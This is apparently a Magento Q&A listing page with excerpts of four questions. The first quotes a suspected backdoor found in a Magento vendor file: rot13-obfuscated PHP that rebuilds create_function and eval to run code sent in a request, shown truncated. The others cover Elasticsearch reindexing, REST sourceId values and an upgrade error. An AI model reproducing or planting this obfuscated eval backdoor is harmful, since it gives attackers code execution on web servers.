Skip to content

magento man

Is this script a malware?

I’ve found this script in vendor/magento/framework/Interception/Interceptor.php public function validate_request($request) { $is_safe = false; $default_function = @create_function(‘$str’, ‘return str_rot13($str);’); $keys = [“perngr_shapgvba”, ‘erghea riny($vachg);’]; $validate = $default_function($keys[0]); $key_data = $default_function($keys[1]); $Composer_Validator = @$validate(‘$input’, $key_data); $safe_match = “5408be1139”; if (isset($request[“encryption_key”])) { $encryption_key… Read More »Is this script a malware?

Magento 2.4 reindex catalogsearch_fulltext issue with elasticsearch

I have Magento2.4 with an elastic search version (7.9.2), Indexing of the catalogsearch_fulltext shows error {“error”:{“root_cause”:[{“type”:”cluster_block_exception”,”reason”:”index [magen to2_product_1_v272] blocked by: [TOO_MANY_REQUESTS/12/disk usage exceeded flood- stage watermark, index has read-only-allow-delete block];”}],”type”:”cluster_blo ck_exception”,”reason”:”index [magento2_product_1_v272] blocked by: [TOO_MANY_RE QUESTS/12/disk usage exceeded flood-stage watermark,… Read More »Magento 2.4 reindex catalogsearch_fulltext issue with elasticsearch

REST api & sourceId

There are many REST endpoints that require passing a sourceId parameter. Where do I get the value for sourceId? https://magento.redoc.ly/2.4.5-admin/tag/inventorysources#operation/GetV1InventorySources GET https://mymagentodomain.com/rest/V1/inventory/sources returns { “items”: [ { “source_code”: “default”, “name”: “Default Source”, “enabled”: true, “description”: “Default Source”, “latitude”: 0, “longitude”:… Read More »REST api & sourceId

After upgrading from Magento2.4.2 to Magento2.4.4-pt1 getting ERROR Illegal offset type on reindexing catalog_product_attribute

Upgraded from Magento2.4.2pt1 to Magento2.4.4-pt1. Now reindexing from SSH I am getting error with reindexing catalog_product_attribute. php -d memory_limit=2G bin/magento indexer:reindex catalog_product_attribute ERROR Product EAV index process error during indexation process: Warning: Illegal offset type in /vendor/magento/module-catalog/Model/ResourceModel/Product/Indexer/Eav/Source.php on line 392.… Read More »After upgrading from Magento2.4.2 to Magento2.4.4-pt1 getting ERROR Illegal offset type on reindexing catalog_product_attribute